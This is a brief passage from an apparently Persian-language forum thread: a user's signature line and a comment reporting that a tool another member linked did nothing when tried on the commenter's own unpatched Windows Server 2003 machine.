                            از این دنیای بی احساس یه روز حقمو میگیرم !


                            [CENTER]

                            Comment


                            • #15
                              من رو سرور 2003 پچ نشده خودم امتحان کردم اونیکه ممد لینک داده بود اتفاقی نیافتاد

                              Comment

                              Working...
                              X